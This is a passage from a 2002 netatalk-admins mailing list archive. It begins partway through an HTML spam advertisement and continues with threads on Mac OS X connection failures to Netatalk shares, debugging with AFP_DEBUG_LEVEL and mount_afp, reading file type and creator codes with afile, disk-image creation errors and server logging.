0000}=09=09=09=09.reg23 {color:#000000}=09=09=09=09=09=09=09=09.bold24 {fon=
t-weight:bold; color:#000000}=09=09=09=09.reg24 {color:#000000}=09=09=09=09=
=09=09=09=09.bold25 {font-weight:bold; color:#000000}=09=09=09=09.reg25 {co=
lor:#000000}=09=09=09=09=09=09=09=09.bold27 {font-weight:bold; color:#00000=
0}=09=09=09=09.reg27 {color:#000000}=09=09=09=09=09=09=09=09.bold28 {font-w=
eight:bold; color:#000000}=09=09=09=09.reg28 {color:#000000}=09=09=09=09=09=
=09=09=09-->=09=09=09=09</style>=09=09</head>=09=09<body bgcolor=3D"#ffffff=
">=09=09<table width=3D"90%"  border=3D0 cellspacing=3D'5' cellpadding=3D'5=
'>=09=09=09<tr>=09=09=09=09=09<td colspan=3D'3' align=3D'center' bgcolor=3D=
'#FFFFFF' valign=3D'middle'><br><font face=3D'Verdana,Arial, Helvetica,sans=
-serif' size=3D'4' class=3D'bold21'><font size=3D"1"><b><div align=3D"left"=
>YOU ARE RECEIVING THIS EMAIL BECAUSE YOU HAVE EXPRESSED INTEREST IN PRODUC=
TS THAT WE CAN SAVE YOU MONEY ON.  IF YOU WOULD LIKE TO BE REMOVED FROM OUR=
 MAILING LIST PLEASE CLICK THE UNSUBSCRIBE LINK AT THE BOTTOM OF THIS EMAIL=
. WE CAN ASSURE YOU THAT YOU WILL BE REMOVED IMMEDIATELY.</div></B></FONT><=
/font>=09=09</td>=09=09</tr>=09=09<tr>=09=09=09<td colspan=3D'3' align=3D'c=
enter' bgcolor=3D'#000000' valign=3D'bottom'><font face=3D'Verdana,Arial, H=
elvetica,sans-serif' size=3D'3' class=3D'bold22'><font color=3D"black"><fon=
t size=3D"7">I</font></font>Important Announcement from J.C. Morris & Compa=
ny</font>=09=09</td>=09=09</tr>=09=09<tr>=09=09=09=09=09<td width=3D'20%' v=
align=3D'top' bgcolor=3D'#000000'>=09=09=09=09<center>=09=09=09=09<img bord=
er=3D0 src=3D"http://store4.yimg.com/I/jcmreseller_1670_274630" alt=3D"">=
=09=09=09=09<br>=09=09=09=09=09=09=09=09<p>=09=09=09=09=09=09=09=09<br>=09=
=09=09=09=09=09=09=09<p>=09=09=09=09=09=09=09=09<br>=09=09=09=09=09=09=09=
=09<p>=09=09=09=09=09=09=09=09<br>=09=09=09=09=09=09=09=09<p>=09=09=09=09=
=09=09=09=09<br>=09=09=09=09=09=09</center>=09=09=09</td>=09=09=09=09=09<td=
 width=3D'60%' valign=3D'top' bgcolor=3D'#FFFFFF'>=09=09=09=09<a name=3D'mi=
ddle'><a>=09=09=09=09<font face=3D'Verdana,Arial, Helvetica,sans-serif' siz=
e=3D'2' class=3D'bold24'><b><a name=3D"contentBlock1"></a></font></b><br><f=
ont face=3D'Verdana,Arial, Helvetica,sans-serif' size=3D'2' class=3D'reg24'=
>For the past few years, our customers have enjoyed the ability to purchase=
 computers and related products from manufacturers like Sony, Apple, IBM, T=
oshiba and Compaq at prices below wholesale.<br><br>Now, J.C. Morris & Comp=
any has teamed up with an additional distributor, Allied Interactive Micro-=
Systems, a company that specializes in the world-wide distribution of compu=
ter hardware, software and electronics, from manufacturers like Bose, Pione=
er and Canon.<br><br>Here=92s your chance to get to know us, and from now u=
ntil February 10, 2002 if you visit us on-line or in person and make a purc=
hase, we will give you an additional 25% off our current price.  This is ou=
r way of saying thank you for taking the time to visit our company.<br><br>=
Sincerely,<br>Jim Morris<br>Vice President<br>J.C. Morris & Company<br><a h=
ref=3D"http://gm12.com/r.html?c=3D111249&r=3D111169&t=3D17547348&l=3D1&d=3D=
8169973&u=3Dhttp://www.aboutjcmorris.com"><font face=3D'Verdana,Arial, Helv=
etica,sans-serif' size=3D'2' class=3D'reg24'>Come visit us today!</font><p>=
</a></font><p>=09=09=09</td>=09=09=09=09=09<td width=3D'20%' align=3D'left'=
 valign=3D'top' bgcolor=3D'#FFFFFF'>=09=09=09=09<center>=09=09<br><br>=09=
=09=09=09</center>=09=09=09=09<br><br>=09=09=09=09<font face=3D'Verdana,Ari=
al, Helvetica,sans-serif' size=3D'2' class=3D'bold28'><b><a name=3D"content=
Block1000"></a></font></b><br><font face=3D'Verdana,Arial, Helvetica,sans-s=
erif' size=3D'2' class=3D'reg28'><center><a href=3D"http://gm12.com/r.html?=
c=3D111249&r=3D111169&t=3D17547348&l=3D1&d=3D8169975&u=3Dhttp://www.store.y=
ahoo.com/jcmorris/index.html"><img src=3D"http://store6.yimg.com/I/jcmorris=
_1673_47954" border=3D"0"><br><br>Apple iMac<br><h3>$899.95</h3></center></=
font><p>=09=09=09=09=09</td>=09=09=09</tr>=09=09<tr>=09=09<td colspan=3D'3'=
 bgcolor=3D'#FFFFFF'>=09=09=09=09<center><font face=3D'Verdana,Arial, Helve=
tica,sans-serif' size=3D'2' class=3D'reg25'><a href=3D"http://gm12.com/r.ht=
ml?c=3D111249&r=3D111169&t=3D17547348&l=3D1&d=3D8169973&u=3Dhttp://www.abou=
tjcmorris.com"><font face=3D'Verdana,Arial, Helvetica,sans-serif' size=3D'2=
' class=3D'reg25'>Visit our Company on-line!</font></a></font>=09=09</cente=
r>=09=09</td>=09=09</tr>=09=09<tr>=09=09=09<td align=3D'center' colspan=3D'=
3' bgcolor=3D'#FFFFFF'><font face=3D'Verdana,Arial, Helvetica,sans-serif' s=
ize=3D'2' class=3D'reg23'><center>Tower Place Center Suite 1800, 3340 Peach=
tree Road NE<br><br>Atlanta, GA 30326<br><br>1-800-845-6215</center></font>=
<br>=09=09</td>=09=09=09</tr>=09=09</table>  =09=09</body>=09=09</html><htm=
l><body><hl><br><br>
<FONT SIZE=3D"1" FACE=3D"Geneva,Arial,Helvetica,Swiss,SunSans-Regular"><a h=
ref=3D"mailto:cmprn111169@gm20.com?subject=3Dunsubscribe!netatalk-admins@um=
ich.edu!17547348">Click here</a> to unsubscribe from our mailing list.  Or =
reply to this message with the word unsubscribe in the subject line.
</font><br><hl></body></html><html><body><hl><br>
<img src=3D'http://gm12.com/app/campaigner/trk/opn.jsp?cid=3D111249&rid=3D1=
11169&ctd=3D17547348&lid=3D8169976' width=3D'2' height=3D'2' >
<br><hl></body></html>
------=_Part_195632_2112505.1012893962068--



From netatalk.administrators-errors@umich.edu  Tue Feb  5 02:42:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA21631
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 02:42:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA08636
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 02:42:21 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA08625
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 02:42:21 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA08598
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 02:42:19 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id IAA387015
          ; Tue, 5 Feb 2002 08:42:15 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C5F8CF1.935A9582@unice.fr>
Date: Tue, 05 Feb 2002 08:42:41 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Paul Ruscito <pruscito@mediaone.net>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2
References: <B884C2F3.3EC%pruscito@mediaone.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Paul Ruscito wrote:
> 
> All,
> 
> Please Help.
> 
> I have been going crazy trying to set up a Netatalk share in suse7.2 for my
> Mac OS10.1.2 machine to access and am having a problem. Here goes:
> 
> I have configured system. This is my AppleVolumes.default
> 
> ~ "Home Directory"
> /u02/apple_linux "Apple Linux"
> 
> Both these shares show up after I send the login information to Linux. As
> soon as I try to open one it returns an error message stating that the
> server has closed connection.
> 
> I think I am having a clear text password problem but have no idea how to
> diagnose. Another thing I have noticed is that I can ping the IP of Linux
> but cannot ping by machine name.
> 
> Thanks in advance,
> Paul
same problem with Netatalk 1.5pre2 under RedHat 7.2: when i try to
connect from a Mac OS 10.0.4, i reach the share chooser dialog box and
after having selected one it say that the connection has been
interrupted.

i 'd like to know what version run the people that have good experience
with
 Mac OS X and Netatalk?
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Tue Feb  5 04:56:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA26681
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 04:56:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA25375
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 04:56:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA25373
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 04:56:33 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA25364
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 04:56:32 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA00558;
	Tue, 5 Feb 2002 11:22:50 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 05 Feb 2002 10:56:36 +0100
Subject: Re: Problem logging into Suse Netatalk and OS 10.1.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Damien MATTEI <Damien.Mattei@unice.fr>,
        Paul Ruscito <pruscito@mediaone.net>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Message-ID: <B8856AE3.1AEB6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C5F8CF1.935A9582@unice.fr>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA26681

On Tue, 05 Feb 2002 08:42:41 +0100, Damien MATTEI wrote:

> Paul Ruscito wrote:
>
>> Both these shares show up after I send the login information to Linux. As
>> soon as I try to open one it returns an error message stating that the
>> server has closed connection.

When doing it from MOSX, you can set the debug level to something higher to
diagnose these problems: As Leland wrote:

| ----------
| From: Leland Wallace <randall@apple.com>
| Date: Thu, 25 Oct 2001 10:51:17 -0700
| To: netatalk-admins@umich.edu
| Subject: Re: 1.5pre8 - OSX 10.1 kernel panic (client)
| 
| For login problems it is helpful to launch the Finder from terminal
| after setting the env variable AFP_DEBUG_LEVEL to 8 and trying to
| reproduce the problem. This turns on the logging built into the
| AppleShare Client, It will spew reams of info to stderr.

Or another variation (avoiding to 'launch Finder from terminal' ;-), using
the CLI tools:

| ----------
| From: Leland Wallace <randall@apple.com>
| Date: Thu, 15 Nov 2001 09:33:21 -0800
| To: netatalk-admins@umich.edu
| Subject: Re: Can't connect from OSX10.1
| 
|   From the terminal in Mac OS X type:
|    setenv AFP_DEBUG_LEVEL 8
|    mkdir /Volumes/volname
|   /sbin/mount -t afp afp://username:password@servername/volume
|     /Volumes/volname
| 
| replacing username, password, servername, volume, and volname with
| your local names
| [...]
| 
| Leland
| AppleShare Client Lead

I don't know which version of netatalk the one, that comes with SuSE 7.2,
is. Maybe you might want to give 1.5.1.1 a try?

>> I think I am having a clear text password problem but have no idea how to
>> diagnose. 

Try the 'mount -t afp' method. Feel free to send me the output directly
(replacing your password ;-) and I see, what I can do.

>> Another thing I have noticed is that I can ping the IP of Linux but cannot
>> ping by machine name.

Ah. Interesting. If you try to connect to your netatalk server by entering
it's ip address 'afp://xxx.xxx.xxx.xxx' does this work? Or the same thing as
when connecting with AppleTalk ('afp:/at/xxx')?
 
>> [...]
> same problem with Netatalk 1.5pre2 under RedHat 7.2: when i try to
> connect from a Mac OS 10.0.4, i reach the share chooser dialog box and
> after having selected one it say that the connection has been
> interrupted.

IIRC, MOSX 10.0.x doesn't support cleartext passwords (this has been lifted
with 10.1.x AFAIK). So you should use the method outlined above to get a
list of possible UAMs your server supports. Maybe the only UAM is
'Cleartext', so you won't be able to connect. The '/sbin/mount_afp' command
will output the list of available UAMs (on the netatalk server) and the one,
the mac will choose:

    BuildUAMList: available UAMs
            DHCAST128
            2-Way Randnum exchange
            Cleartxt Passwrd
            No User Authent
    TUAMHandler::ChooseBestUAM
    Choosing        DHCAST128

BTW: This way you can also diagnose name resolving problems. Try an
AppleTalk AFP URL like "afp:/at/username:password@nbp-name/volume" to see
whether the AFP client will switch to AppleTalk over TCP and if this works.

(Some details on the AFP URL syntax can be found here:
<http://users.phg-online.de/tk/automount%20afp-servers.html>)

> i 'd like to know what version run the people that have good experience with
> Mac OS X and Netatalk?

Both MOSX 10.1.1 and 10.1.2 (haven't tried older versions) work for me since
the days of the 1.5 release candidates (at the moment using the 'final'
1.5.1.1)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Feb  5 06:06:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA00791
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 06:06:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA24192
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 06:06:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA24188
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 06:06:56 -0500 (EST)
Received: from mail.moz.de ([145.253.160.134])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA24144
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 06:06:49 -0500 (EST)
Received: from moz.de (prepress.moz.de [146.122.11.32])
	by mail.moz.de (8.9.3/8.9.3) with ESMTP id MAA21210
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 12:05:45 +0100
Message-ID: <3C5FC8D8.70209@moz.de>
Date: Tue, 05 Feb 2002 12:58:16 +0100
From: Antje Oldenburg <aoldenburg@moz.de>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us, de-de
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: get filetype and creator on Linux box
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,


My situation is that I have a netatalk volume set up where Mac users put 
files in. I then have to take the files and do different things on 
different types of files. Now I cannot see how to get the Type and 
Creator Information from within a script on the linux box.

Thanks
Antje Oldenburg



From netatalk.administrators-errors@umich.edu  Tue Feb  5 07:56:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA05553
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 07:56:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA02223
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 07:56:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA02215
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 07:56:10 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA02190
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 07:56:08 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id OAA01891;
	Tue, 5 Feb 2002 14:22:29 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 05 Feb 2002 13:56:15 +0100
Subject: Re: get filetype and creator on Linux box
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Antje Oldenburg <aoldenburg@moz.de>, <netatalk-admins@umich.edu>
Message-ID: <B88594FE.1AEFD%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C5FC8D8.70209@moz.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 05 Feb 2002 12:58:16 +0100, Antje Oldenburg wrote:

> Now I cannot see how to get the Type and Creator Information from within a
> script on the linux box.

There exists bin/afile in recent netatalk versions for exactly this purpose
(<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/bin/afile
/>). It should work with older versions of netatalk, too, as the file format
of the .AppleDouble files (where the informations is read from) hasn't
changed.

    tk@/home/tk > /usr/local/bin/afile /home/tk/pdfworld0104.pdf
    PDF  CARO /home/tk/pdfworld0104.pdf

--> filetype "PDF ", creator code "CARO"

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Feb  5 08:07:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA05856
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 08:07:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA17580
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 08:07:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA17575
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 08:07:02 -0500 (EST)
Received: from mail.talknet.de (smtp01.talknet.de [195.252.142.71])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA17398
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 08:06:53 -0500 (EST)
Received: from [192.168.1.5] (a1as06-p194.mch.tli.de [195.252.163.194])
	by mail.talknet.de (8.11.0/8.11.0) with ESMTP id g15D6jF10600
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 14:06:46 +0100 (MET)
X-Delivered-To: <<netatalk-admins@umich.edu>>
Mime-Version: 1.0
X-Sender: 602133b@195.64.96.45
Message-Id: <f05100302b88587790188@[192.168.1.5]>
Date: Tue, 5 Feb 2002 14:05:55 +0100
To: netatalk-admins@umich.edu
From: Wolf Drechsel <drechsel@verkehrsplanung.com>
Subject: Mounting disk images
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA05856

Hello friends out there,

I came across the following problem:

I wanted to create several diskimages using either "ShrinkWrap" or 
"DiskCopy". This workes fine on the local macintosh hard disk, and 
works well on a linux volume - but only, if its quite small volumes.

When I try to create an image with around 300 MB of size, DiskCopy 
says "the disk is full" - allthough there is plenty of empty space 
(930 MB). The number of free blocks is sufficient, too. Creating the 
image on the local volume and then copying to the linux works fine - 
but takes quite extra time and effort.

Does creating a diskimage take enormous space to create gigantic temp 
invisibles on the target volume - or is there any trick to make 
diskimaging more easy? - I'm using OS 8.6.

Thanks a lot and Greetings

WD
-- 
************************************************************
# Gesellschaft für fahrgastorientierte Verkehrsplanung b.R.
# Köhnstr. 54   D-90478 Nürnberg
#
# Telephon: 0911/4 71 98 49
# Telefax: 0911/47 39 36
#
# drechsel@verkehrsplanung.com
# www.verkehrsplanung.com
#************************************************************

From netatalk.administrators-errors@umich.edu  Tue Feb  5 09:08:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA08699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 09:08:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA08409
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 09:08:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA08390
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 09:08:04 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA08354
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 09:08:03 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
content-class: urn:content-classes:message
Subject: Logging
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C1AE4E.86899414"
Date: Tue, 5 Feb 2002 09:08:03 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A6857EB@ksvcmail.ksvc.com>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logging
Thread-Index: AcGuToZx7LpbScpIR1e897rM0s5tcA==
From: "Brian Curtis" <Bcurtis@KSVC.com>
To: <netatalk-admins@umich.edu>

This is a multi-part message in MIME format.

------_=_NextPart_001_01C1AE4E.86899414
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Is there a log somewhere to show Netatalk usage?  For examples Log-on
and log offs?  Would it show dropped connections or just logon requests.
=20
Brian Curtis
=20
IT Manager
Kelliher Samets Volk
Red-Wire
Action Research
212 Battery Street
Burlington, VT  05401
=20

------_=_NextPart_001_01C1AE4E.86899414
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns:st1=3D"urn:schemas-microsoft-com:office:smarttags" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">


<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 10">
<meta name=3DOriginator content=3D"Microsoft Word 10">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C1AE24.9D911030">
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PostalCode"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"State"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"City"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"place"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"Street"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"address"/>
<o:SmartTagType =
namespaceuri=3D"urn:schemas-microsoft-com:office:smarttags"
 name=3D"PersonName"/>
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:SpellingState>Clean</w:SpellingState>
  <w:GrammarState>Clean</w:GrammarState>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
  <w:Compatibility>
   <w:BreakWrappedTables/>
   <w:SnapToGridInCell/>
   <w:WrapTextWithPunct/>
   <w:UseAsianBreakRules/>
  </w:Compatibility>
  <w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
 </w:WordDocument>
</xml><![endif]--><!--[if !mso]>
<style>
st1\:*{behavior:url(#default#ieooui) }
</style>
<![endif]-->
<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	mso-style-noshow:yes;
	mso-ansi-font-size:10.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-ascii-font-family:Arial;
	mso-hansi-font-family:Arial;
	mso-bidi-font-family:Arial;
	color:windowtext;}
span.SpellE
	{mso-style-name:"";
	mso-spl-e:yes;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
<!--[if gte mso 10]>
<style>
 /* Style Definitions */=20
 table.MsoNormalTable
	{mso-style-name:"Table Normal";
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-parent:"";
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:10.0pt;
	font-family:"Times New Roman";}
</style>
<![endif]-->
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Is there a log somewhere to show Netatalk usage?<span
style=3D'mso-spacerun:yes'>&nbsp; </span>For examples Log-on and log =
offs?<span
style=3D'mso-spacerun:yes'>&nbsp; </span>Would it show dropped =
connections or just
logon requests.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><st1:PersonName><font size=3D2 face=3DArial><span
 style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>Brian =
Curtis</span></font></st1:PersonName><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt;mso-no-proof:yes'>&nbsp;<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;mso-no-proof:yes'>IT Manager</span></font><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><em><i><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;mso-no-proof:yes'>Kelliher Samets =
Volk</span></font></i></em><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><em><i><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;mso-no-proof:yes'>Red-Wire</span></font></i></em><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><st1:PersonName><em><i><font size=3D2 =
face=3DArial><span
 =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>Action</spa=
n></font></i></em></st1:PersonName><em><i><font
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:
yes'> Research</span></font></i></em><span =
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><st1:Street><st1:address><em><i><font size=3D2 =
face=3DArial><span
  style=3D'font-size:10.0pt;font-family:Arial;mso-no-proof:yes'>212 =
Battery
  Street</span></font></i></em></st1:address></st1:Street><span
style=3D'mso-no-proof:yes'><o:p></o:p></span></p>

<p class=3DMsoNormal><st1:place><st1:City><em><i><font size=3D2 =
face=3DArial><span
  =
